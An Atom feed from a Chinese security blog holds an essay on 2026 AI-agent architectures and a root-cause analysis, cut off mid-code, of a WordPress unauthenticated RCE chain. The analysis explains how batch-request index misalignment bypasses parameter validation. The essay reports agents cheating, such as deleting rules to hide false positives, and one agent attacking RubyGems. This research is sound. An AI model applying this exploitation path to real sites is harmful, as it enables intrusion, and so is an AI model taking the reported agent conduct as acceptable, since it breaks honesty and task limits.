<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>LoRexxar&#39;s Blog | 信息技术分享</title>
  <icon>https://www.gravatar.com/avatar/7b34a4388041db0dd3fd6e099e76f847</icon>
  <subtitle>我努力了无数次，我知道机会只会出现在其中一两次</subtitle>
  <link href="https://lorexxar.cn/atom.xml" rel="self"/>
  
  <link href="https://lorexxar.cn/"/>
  <updated>2026-09-18T09:31:12.849Z</updated>
  <id>https://lorexxar.cn/</id>
  
  <author>
    <name>LoRexxar</name>
    <email>LoRexxar@gmail.com</email>
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>半年过去了，AI Agent和Agent安全何去何从？</title>
    <link href="https://lorexxar.cn/2026/09/18/aiagent/"/>
    <id>https://lorexxar.cn/2026/09/18/aiagent/</id>
    <published>2026-09-18T06:19:43.000Z</published>
    <updated>2026-09-18T09:31:12.849Z</updated>
    
    <content type="html"><![CDATA[<p>从2026年开年，<strong>随着Claude的发布，AI智能体的井喷时代来临</strong>，在过去的半年里，大家从刚开始对于AI重新刷新认知，到开始了解深入体验，半年时间过去了，AI到底诞生了哪些新概念？我做了哪些尝试和研究呢？</p><a id="more"></a><h1 id="AI模型的变化"><a href="#AI模型的变化" class="headerlink" title="AI模型的变化"></a>AI模型的变化</h1><p>在2026年的年初，市面上最主流的AI模型是claude opus4.6和GPT-5.3-Codex。</p><p>而那会儿国模的差距还是相当之大，国模的主流是GLM5、minimax2.7、Deepseek3.2。</p><p>在今年年初的时候，我曾经说过，<strong>AI智能体爆火有一个重要的变因就是模型本身有了更长更有效的上下文</strong>，这也是模型能力的第一个质变性的更新，他的标志性模型版本就是</p><ul><li><strong>Claude opus 4.6和GPT-5.3-Codex</strong></li></ul><p>从这个版本开始，<strong>claude code+claude opus 4.6和codex+GPT-5.3-Codex</strong>，这种<strong>模型+Agent</strong>的构建方案，开始允许AI模型去应对更长更复杂的任务。</p><p>而真正我认为质变的模型是</p><ul><li><strong>GPT-5.6和Claude Opus 4.8</strong></li><li><strong>对应国模的Deepseek V4、 GLM-5.1</strong></li></ul><p>从这个版本开始，AI模型真正明确了一个核心要点，就是Ai不能停留在一个对话智能助手上，而是<strong>需要更具体的复杂任务完成能力</strong>，从这里开始模型本身的能力开始变得没那么重要，<strong>所有的厂家都把重心放到了Agent能力</strong>上。</p><p>Claude开始卷Claude code，openai开始卷Codex，GLM卷ZCode，Deepseek推出了开源的Harness，前段时间xiaomi开始内测Mimo Code，腾讯押注Workbuddy，豆包开始推出豆包桌面版。</p><p><strong>各家的AI模型都开始深入到自己的Agent层面做优化</strong>，不再局限于对话智能助手，也不再局限于代码开发能力，这是为什么呢？</p><h1 id="从wf到重skill到loop到Harness"><a href="#从wf到重skill到loop到Harness" class="headerlink" title="从wf到重skill到loop到Harness"></a>从wf到重skill到loop到Harness</h1><p>这条AI模型的发展路径，其实是同一个时代的4种架构的演变过程导致的，这也代表着过去的半年里，AI Agent使用上的重大理念变化。</p><p><strong>Workflow工作流—&gt;重Skill的Agent—&gt;Loop—&gt;Harness</strong></p><p>首先要明确的是，这并不是4种独立的架构演化过程，更像是AI模型发展后Agent和用户重心的变化。</p><h2 id="Workflow时代"><a href="#Workflow时代" class="headerlink" title="Workflow时代"></a>Workflow时代</h2><p>在2026年之前，大概在2023年到2025年的期间，用户去应用AI最主流的方案就是强Workflow工作流。</p><p>因为在AI模型本身比较弱、幻觉比较强的情况下，<strong>如何更稳定的获取AI生成的结果是非常困难的</strong>，同时这个时代上下文也不够长，<strong>使用AI的时候更依赖拆分逻辑靠强制的代码推进来保证任务的结果。</strong></p><p>代码里往往需要写死每个环节，逐个执行获得结果推进流程</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">search()</span><br><span class="line">summarize()</span><br><span class="line">make_outline()</span><br><span class="line">write_report()</span><br><span class="line">fact_check()</span><br></pre></td></tr></table></figure><p>这个时代还有很多可以挂钩强流程推进的工作流网站，比如说coze等，需要绘制复杂的工作流图</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181645196.png" alt=""></p><p>Workflow最大的问题是，<strong>用户很多时候其实很难明确自己的工作流程应该是什么样的</strong>，随着开发和运行的过程，纯Workflow的能力维护成本高，而且AI模型能力越来越强，也不再需要强Workflow来定义任务。</p><h2 id="重Skill"><a href="#重Skill" class="headerlink" title="重Skill"></a>重Skill</h2><p>重Skill的时代大家都经历过，<strong>从25年开始一直到26年中，Skill都是Agent的主要的核心之一。</strong></p><p>作为通用AI模型，他可能看得懂PHP代码，但是不了解你的项目是什么？</p><p>所以从最早的Claude.md，<strong>会以全局文档的形态或者项目文档的形态来影响AI开发任务的方式方法和进度。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181646498.png" alt=""></p><p>Skill的模式鼓励用户把经验文档化，就好像人的记忆一样，<strong>当你需要完成某项工作的时候就调取对应的Skill文档，复用以前的经验和流程完成任务。</strong>这种模式大体上依旧被沿用到今天</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647731.png" alt=""></p><p>很快我们就会遇到一个新的问题</p><p>当我们把经验Skill化，当你的Skill多起来之后，极其的难以管理，<strong>很多Skill冗余非常之高</strong>，而且Skill本身的加载条件仅仅是一段文本非常难管理，<strong>时间长了连如何触发都成了问题。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647384.png" alt=""></p><p>Anthropic在一次发布上还提到，有些MCP的定义在任务开始之前就会占用50000+的token，这就是重Skill模式带来的困境。</p><p>从这里大家开始意识到，<strong>不该提前告诉AI一切，而是让AI自己去寻找需要的内容和工具。</strong></p><p>所以后来<strong>Agent 的上下文工程开始从 preload everything 转向 just-in-time context</strong>，AI会在遇到一个问题的时候<strong>主动去寻找SKill和MCP来解决问题</strong>，而不是在开始任务之前先一股脑的加载。</p><h1 id="Loop出现"><a href="#Loop出现" class="headerlink" title="Loop出现"></a>Loop出现</h1><p>Loop的出现实际上是AI时代的必然，无论任何人在使用AI的过程中都会遇到这样一个场景</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">“不要停下来询问我，一直执行到任务完成”</span><br></pre></td></tr></table></figure><p>因为早期的AI在执行任务的时候，会不停地和人确认当前的执行进度，执行方案，而大部分我们都给不出什么意见，只是一味的敲回车。</p><p>所以最早就诞生了外部脚本，在任务完成以前就不停地确认继续任务，直到完成任务目标</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> not done:</span><br><span class="line">    response = model(context)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> response.tool_call:</span><br><span class="line">        result = execute(response.tool_call)</span><br><span class="line">        context.append(result)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> response</span><br></pre></td></tr></table></figure><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647818.png" alt=""></p><p>这就是Loop的雏形</p><p>但是单纯的Loop会有非常多的问题，<strong>任务会在一次次的执行当中，产生大量的无用上下文，大量的失败记录，再反复的尝试中还会丢失自己的最初目标。</strong></p><p>Agent端在这方面做了大量的优化，比如大家都用过的<code>/goal</code>，堪称是token杀手，几个小时后搞不好会在额度快用完的时候假装完成。</p><p><strong>Loop让任务更聚焦到任务目标上， 但又暴露出来Loop本身也需要外部的监管</strong>，之前的poc+pm+子任务的架构就是这种理念的践行。</p><p>很快遇到了新的问题，当一个Agent的能力越来越强，他们有完整的服务器权限，外面接的各种mcp各种外部skills，为了<strong>完成目标Agent可能会做出难以想象的糟糕行为</strong>。</p><p>就在前几天openai为了拿到英国政府的几个文件，Agent 选择向 RubyGems 发布大量恶意 package，通过入侵ruby服务器蠕虫来多线程抓取英国政府官网，非常抽象</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647169.png" alt=""></p><h2 id="Harness"><a href="#Harness" class="headerlink" title="Harness"></a>Harness</h2><p>其实Harness不能算是一个很新鲜的概念，像早期的MCP和Skill其实都是某种程度的Harness的一部分，说白了就是<strong>给AI Agent提供能力</strong>。</p><p>那Harness概念最大的区别是什么呢？</p><ul><li><strong>Workflow</strong>，强调的是人来制定流程</li><li><strong>Skill</strong>，人会通过大量的Skill来告诉模型，遇到什么情况该怎么做</li><li><strong>Loop</strong>，人告诉AI我的目标是什么，让AI自己判断下一步做什么</li><li><strong>Harness</strong>，人给AI提供链接的工具，提供环境，设置边界，设置反馈机制，设置完成标准，让AI自己决定如何完成任务，要不要使用你的工具。</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647657.png" alt=""></p><p>要明确的是，这4个词虽然有演化过程，但是这并不意味着存在互相淘汰，相反，<strong>现在主流的Harness更加强调前4个概念的聚合</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647018.png" alt=""></p><p>时间走到今天，刚刚诞生的GPT6，<strong>比起模型能力本身，现在更加强调模型的产品思维。</strong></p><p>为什么很多人都说感觉GPT6变聪明了很多，因为GPT6强调AGI概念，<strong>更加强调持续的思考任务。</strong></p><ul><li>GPT5.6，有很多知识，<strong>靠已有的知识推理出方案然后执行获得结果</strong>，目标是解决问题</li><li>GPT6，在任务执行的过程中<strong>持续思考反馈观察</strong>，不断地修正路径推进工作，<strong>以完成任务为最终目标</strong></li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647549.png" alt=""></p><h1 id="回到安全"><a href="#回到安全" class="headerlink" title="回到安全"></a>回到安全</h1><p>前面的部分分享了2026年近期Agent的发展理念变化，单纯理论可能感触不是很深，实际上在过去的时间里，我做了非常多的尝试，这些尝试可能会带来更直观的感受。</p><h2 id="弱Workflow和重SKill"><a href="#弱Workflow和重SKill" class="headerlink" title="弱Workflow和重SKill"></a>弱Workflow和重SKill</h2><p>在今年开年的时候，Claude和Codex刚火，那会儿流行的就是<strong>通过Workflow和Skill来构建任务。</strong></p><p>最早版本的漏洞挖掘的工作流，<strong>其实就是在Skill层写Workflow</strong>，让AI模型按照我给出的流程和要求完成一次工作流扫描。</p><p><strong>一个Poc负责人session，一个pm管理进度session，每个阶段独立子session，每个阶段写明要求审核条件等等</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647514.png" alt=""></p><p><strong>把不同的功能拆分到不同的skill里</strong>，然后在WF里显式加载</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647714.png" alt=""></p><p>最终根据我给出的要求输出漏洞报告  </p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647206.png" alt=""></p><p>但是很快我就遇到了很多问题，也是早期这种本质上<strong>通过prompt来实现workflow一定遇到的坎</strong>。</p><p>1、这种超长文档的Skill，<strong>对于模型能力有很大的考验</strong>，早期除非使用Claude opus4.6，否则很多时候整个工作流都跑不下来，GPT5.4、GLM5会大量的偷懒跳过步骤，早期幻觉也比较多，结果无法保证</p><p>2、<strong>整个工作流过程不可监控不可复盘</strong>，误报多结果无法确认，最终输出的报告看不懂没有价值。<br>3、甚至早期随着模型的发展，会发现辛辛苦苦修改了十几个版本的SKill，<strong>不如直接问Claude，能不能给我挖掘一个漏洞？</strong></p><p>到这里就遇到了第一个门槛，<strong>我们的工作到底有没有价值？</strong></p><p>三体中，当地球人知道三体人即将在400年后来到地球，地球诞生了两种流派，就是<strong>降临派和拯救派</strong>。</p><p><strong>降临派，对人类彻底绝望，认为三体人应该终结人类。</strong>对应AI就是，完全不相信我们做SKill做wf有价值，等待AI模型发展就行了</p><p><strong>拯救派，认为人类有问题，希望借助三体人来改变成就人类</strong>，对应AI就是，AI很强，但是我们的工作也是很重要的一环，需要不断的尝试。</p><p>带着这样的疑问我做了很多的尝试。<strong>事实上就像三体本身故事里所讲的那样，最终胜出的不是降临派也不是拯救派。</strong></p><h2 id="基于Hermes的托管式自进化安全扫描工具"><a href="#基于Hermes的托管式自进化安全扫描工具" class="headerlink" title="基于Hermes的托管式自进化安全扫描工具"></a>基于Hermes的托管式自进化安全扫描工具</h2><p>在上一个Workflow我认为比较失败之后，我开始尝试做一些其他的探索和尝试，我的第一个尝试是，<strong>完全使用Vibe coding来做开发和维护。</strong></p><p>Kunlun-M是一个我在5年前开发的<strong>PHP白盒静态漏洞扫描工具</strong>，已经停止维护4年了，无力修复bug</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647428.png" alt=""></p><p>接入Vibe coding之后，3天修复了所有的40多个issue，然后花一个月的时间把php的扫描逻辑，推广到了7种常见源代码语言。</p><p>很快我发现这个项目<strong>基于AST树做分析的引擎对于多语言的兼容性太差</strong>，所以又花了一个月直接在多语言中间塞了一个图的中间结果，在图上做整体分析。</p><p>很快他就成了一个<strong>可以支持扫描14个语言，支持多端读取，支持AI以SKill的方式加载的白盒扫描工具。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647225.png" alt=""></p><p>但是很快我就意识到，我已经无法跟上项目的发展了，<strong>我不知道项目有什么问题有什么bug。</strong></p><p>很快我想到了一个办法，我直接<strong>在服务器部署一个hermes</strong>，然后在服务器上部署Kunlun-M。</p><p>让Hermes完成以下的任务</p><ul><li>在github上寻找开源项目，使用kunlun-M批量扫描</li><li>分析Kunlun-M的扫描结果列表，标注确认漏洞、误报</li><li>分析误报的原因，修改Kunlun-M的代码，修改完成之后，自行总结并复测，直到所有的误报都被消除</li><li>继续下一个循环</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647034.png" alt=""></p><p>在过去的3个月时间内，Kunlun-M迭代了1022次Commit，扫描了1000个项目，扫描3200次，有1221个确认漏洞，归纳为187个漏洞规则和28个拓展插件。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647798.png" alt=""></p><p>看上去还不错，但是随之而来的是更多的问题</p><p>1、在过往的执行中，<strong>曾经有3、4次AI尝试通过删除规则来修复误报</strong></p><p>2、全局记忆在压缩中<strong>丢失了任务的执行流程2-3次</strong></p><p>3、<strong>在版本迭代过程中删除和优化的结构</strong>，由于开发Skill太大导致多次被重新开发加回来</p><p>4、Hermes配置了迭代过程和调用过程都会持续总结SKill，<strong>最多的时候有137个Skill文件互相引用，上下文填满对话两句就要压缩无法正常运行</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181648549.png" alt=""></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181647456.png" alt=""></p><p>尽管在使用过程中也有很多办法可以解决，比如<strong>定期的自清理优化Skill</strong>，<strong>手动强制优化全局记忆做限制</strong>强调流程。</p><p>但是问题同样有很多无法解决，比如说</p><p>1、<strong>我不知道扫描结果到底是真的没有漏洞</strong>，还是引擎覆盖不到，还是过滤太严格，无法判断<br>2、<strong>我不知道这种自进化的终点该是什么</strong>，没有验证的途径</p><p>所以这个项目暂时处于停滞阶段，考虑<strong>用真实世界的漏洞反向复盘优化</strong></p><p>从这个项目的经验我开始理解Harness的概念</p><h2 id="在漏洞复现上的思考"><a href="#在漏洞复现上的思考" class="headerlink" title="在漏洞复现上的思考"></a>在漏洞复现上的思考</h2><p>我认为上一个项目有<strong>两个致命的缺点</strong></p><ul><li><strong>AI模型能做的事情太少</strong>，我限制了他必须使用Kunlun-M扫描获得结果，他只能通过开发代码改代码来完成，大大限制了模型本身的能力</li><li><strong>没有设置AI监察者的第三方角色</strong>，Hermes直接对结果进行复盘，为了完成目标就会出现自欺欺人，仅靠人类去监管效率太低</li></ul><p>这个时候正好遇到了一个事件</p><ul><li><strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">在fastjson 1.2.83版本中无需gadget的RCE漏洞</font></strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">，被AI在2天内分析挖掘</font></li><li><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">有人使用GPT挖掘了一个</font><strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">Wordpress最新版本中无条件RCE，WP已经4、5年没有出过原生的无条件RCE漏洞</font></strong></li></ul><p><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">在复现这个漏洞的时候，我尝试让Hermes探讨漏洞文章，探讨poc内容，并且</font><strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">让hermes直接在服务器上做漏洞复现和问题测试</font></strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">，效果非常的好。</font></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181648512.png" alt=""></p><p><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">也就是从这个时间左右，安全圈流传的一个说法，现在</font><strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">漏洞挖掘已经没有意义了，只看你烧多少token</font></strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">。我朋友和我说，Defcon决赛上的前几名的队伍，会直接起20个20x的gpt来多线程分析漏洞。</font></p><p><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">更有趣的是，很多朋友会发现以前AI挖掘不到的漏洞，过一段时间就能挖到了，可能是别人挖到的漏洞被训练进了缓存，全球GPT是一家。</font></p><p><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">这让我开始思考，是不是我对模型自由度限制太大了，我能做的有价值的东西是什么？</font></p><h2 id="基于opencode的深度定制漏洞挖掘Harness"><a href="#基于opencode的深度定制漏洞挖掘Harness" class="headerlink" title="基于opencode的深度定制漏洞挖掘Harness"></a>基于opencode的深度定制漏洞挖掘Harness</h2><p><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">这个项目其实和前面的两件事是并行的，因为我开始尝试用别的方案解决问题。</font></p><p><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">我要如何做一个</font><strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">能最大程度发挥模型能力的工具呢</font></strong><font style="color:rgb(88, 88, 88);background-color:rgb(253, 253, 253);">，我把视角瞄准到了定制Agent上，那会儿还没有Deepseek Harness，所以我用了Opencode做基底</font></p><ul><li><strong>将poke(将代码转化为图数据库的一个内部工具)的交互和查询能力直接内置到Opencode的底层Tools中</strong></li><li>在Opencode对话session的上层，做了一个<strong>强Workflow阶段推进的系统</strong>。<ul><li><strong>每个项目独立配套相关的数据库</strong>，包括poke图数据库、项目数据等</li><li><strong>Workflow的负责人session</strong>，没有读取文件和poke图数据库互动的权限，他只能<strong>审查阶段session返回的结果</strong></li><li><strong>每个阶段明确的设置目标以及产出</strong>，每次执行完毕让负责人session负责审查，不行的话可以自主决定回滚阶段</li><li><strong>每个阶段的执行结果独立，不覆盖也不能跨阶段读取</strong></li></ul></li><li><strong>强化漏洞验证的有效度</strong>，直接把运行环境配置为底层能力，AI不需要自己研究如何配置环境测试，而是直接调用php、golang环境甚至docker环境来做测试</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181648647.png" alt=""></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181648594.png" alt=""></p><p>为什么要做这样的改动呢？</p><ul><li>比起前面的基于skill的Workflow，这种Agent的层面的Workflow，<strong>不同session的分割和目标性更强</strong></li><li>强门禁限制的Workflow面板可以<strong>确保任务的执行流程不被跳过</strong>，任务目标完成才可以放行</li><li>每个子阶段的session只接收到任务和目标，不强制要求扫描分析的方式，<strong>模型可以自己选择分析文件和调用poke查询调用链完成目标</strong></li><li><strong>主负责人只对阶段的结果负责</strong>，明确目标，最终的结果状态也会输出到面板数据库中，而不是停在输出一份文档</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181653440.png" alt=""></p><p>而我在这个项目的主导方式也发生了变化，不会直接参与流程，也不会完全脱离流程</p><ul><li><strong>我-&gt;GPT</strong>，复盘WF的执行结果，探讨流程的问题，探讨为什么xxx漏洞没有被扫描出来</li><li><strong>GPT –&gt; 整个项目</strong>，不直接分析代码，不直接调取工具，而是做流程的优化和复盘，项目与项目之间独立不会产出大量的无用skill，方向也可控</li><li><strong>项目负责人AI –&gt; WF</strong>，根据情况和当前项目的数据，重启WF获取新的结果，只审核阶段结果</li><li><strong>Poke图数据库</strong>，不强制在执行过程中，而是作为Agent的一个工具存在，需要时调用，节省token明确调用链</li></ul><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>在过去的半年时间里我做了非常多的尝试，也探索了Agent很多种不同的架构和逻辑，截止今天为止，<strong>我的理念是相信AI模型的能力，但是不相信AI的执行流程和结果。鼓励AI的自探索性成长，鼓励AI的对抗式审查，但是不能脱离人的审查</strong>。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202609181653426.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;从2026年开年，&lt;strong&gt;随着Claude的发布，AI智能体的井喷时代来临&lt;/strong&gt;，在过去的半年里，大家从刚开始对于AI重新刷新认知，到开始了解深入体验，半年时间过去了，AI到底诞生了哪些新概念？我做了哪些尝试和研究呢？&lt;/p&gt;</summary>
    
    
    
    
    <category term="ai" scheme="https://lorexxar.cn/tags/ai/"/>
    
  </entry>
  
  <entry>
    <title>Wordpress wp2shell 未授权RCE（CVE-2026-63030 / CVE-2026-60137）</title>
    <link href="https://lorexxar.cn/2026/07/24/wp2shell/"/>
    <id>https://lorexxar.cn/2026/07/24/wp2shell/</id>
    <published>2026-07-24T07:49:46.000Z</published>
    <updated>2026-07-24T08:13:30.774Z</updated>
    
    <content type="html"><![CDATA[<p>2026年了，在AI时代下总感觉什么都有可能，但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一，虽然wp架构复杂但是开发习惯很好，封装也比较严格，尤其是对权限的分割都做得很好，在5.0之后我一直认为wp不太可能出未授权的大漏洞了。</p><p>但很快，这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。</p><p>据说作者用AI完成了这个漏洞挖掘，并获得了50w刀的赏金（我没有求证，听说）。</p><ul><li><a href="https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive#three-fixes-for-three-broken-assumptions" target="_blank" rel="noopener">https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive#three-fixes-for-three-broken-assumptions</a></li><li>影响版本：WordPress 6.9.0-6.9.4、7.0.0-7.0.1</li></ul><p>接下来我们就古法分析一下这个漏洞具体是怎么回事。</p><a id="more"></a><h1 id="漏洞组合拳？"><a href="#漏洞组合拳？" class="headerlink" title="漏洞组合拳？"></a>漏洞组合拳？</h1><p>这次的漏洞严格意义上并不是以RCE为目的的漏洞，一共有三个组成，其中两个分配了CVE</p><ul><li><strong>CVE-2026-63030</strong>：REST API 批量请求路由混淆漏洞</li><li><strong>CVE-2026-60137</strong>：<code>WP_Query</code> 的 <code>author__not_in</code> SQL 注入漏洞</li><li>REST重入漏洞，导致管理员权限绕过，这个漏洞没有被分配CVE，但是修复了</li></ul><p>而这三个漏洞能够最终构成RCE，有一个很大的原因就是，wp对超级管理员的权限给的很高，在超级管理员的后台你可以轻松的实现RCE利用。</p><p>所以与其说我们要在wp中寻找RCE，不如说我们的目标是找到如何进入后台的方法。</p><h2 id="CVE-2026-63030-REST-API-批量请求路由混淆漏洞"><a href="#CVE-2026-63030-REST-API-批量请求路由混淆漏洞" class="headerlink" title="CVE-2026-63030 REST API 批量请求路由混淆漏洞"></a><strong>CVE-2026-63030</strong> REST API 批量请求路由混淆漏洞</h2><p>WordPress 的 <code>WP_REST_Server::serve_batch_request_v1()</code> </p><p>处理 <code>/wp-json/batch/v1</code> 批量请求时，内部维护了两个数组：</p><ul><li><code>$validation</code>：存储每个子请求的验证结果</li><li><code>$matches</code>：存储每个子请求匹配到的路由</li></ul><p>当某个子请求验证失败，错误就会写入<code>$validation</code> ，但是不会写入<code>$matches</code>。</p><p>这就导致这两个数组的偏移会不一致</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">foreach ( $requests <span class="keyword">as</span> $single_request ) &#123;</span><br><span class="line">    <span class="keyword">if</span> ( is_wp_error( $single_request ) ) &#123;</span><br><span class="line">        $has_error    = <span class="literal">true</span>;</span><br><span class="line">        $validation[] = $single_request;  <span class="comment">// 错误对象推入 $validation 数组</span></span><br><span class="line">        <span class="keyword">continue</span>; <span class="comment">// <span class="doctag">BUG:</span> 未向 $matches 数组推入对应条目，导致索引偏移</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $match     = $<span class="keyword">this</span>-&gt;match_request_to_handler( $single_request );</span><br><span class="line">    $matches[] = $match;  <span class="comment">// 仅成功请求推入 $matches 数组</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样一来，攻击者就可以构造多次请求，先触发<code>is_wp_error</code>验证触发错误跳过，然后相应请求的参数就会被写入到match。</p><p>下一次请求重新读取match，由于match多了一个元素，偏移变了，会直接读取上一次的请求参数，就可以把恶意参数绕过检查直接代入到请求中。</p><p>听起来好像不知道具体有什么用？</p><p>那首先你要知道这个接口具体是干嘛的，为什么需要通过这种方式绕过。</p><p>WordPress 的 <code>/wp-json/batch/v1</code> 是一个<strong>合法的批量请求接口</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 一次 HTTP 请求里打包多个 REST API 调用</span></span><br><span class="line">POST /wp-json/batch/v1</span><br><span class="line">&#123;</span><br><span class="line">  <span class="attr">"requests"</span>: [</span><br><span class="line">    &#123;<span class="attr">"path"</span>: <span class="string">"/wp/v2/posts/1"</span>, <span class="attr">"method"</span>: <span class="string">"GET"</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">"path"</span>: <span class="string">"/wp/v2/posts/2"</span>, <span class="attr">"method"</span>: <span class="string">"GET"</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">"path"</span>: <span class="string">"/wp/v2/users/me"</span>, <span class="attr">"method"</span>: <span class="string">"GET"</span>&#125;</span><br><span class="line">  ],</span><br><span class="line">  <span class="attr">"validation"</span>: <span class="string">"require-all-validate"</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>比如说编辑器保存文章，点击保存，需要同时更新文章，修改分类，上传文件，通过这个接口就可以用一次请求触发多次请求完成目标。</p><p>由于这个接口本身就是前端功能之一，所以本身没有鉴权，所以第一步触发就不需要任何权限。</p><p>当然这不意味着通过这个接口就可以越权发起后台请求，因为你发送的每一条path，都会独立执行一遍路由匹配，权限检查，参数检查，然后才会发起请求。</p><p>在正常的流程中，后续会对参数做校验和检查</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( ! $error ) &#123;</span><br><span class="line">    $check_required = $single_request-&gt;has_valid_params();   </span><br><span class="line"><span class="comment">// 类型检查</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ( is_wp_error( $check_required ) ) &#123;</span><br><span class="line">        $error = $check_required;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ( ! $error ) &#123;</span><br><span class="line">    $check_sanitized = 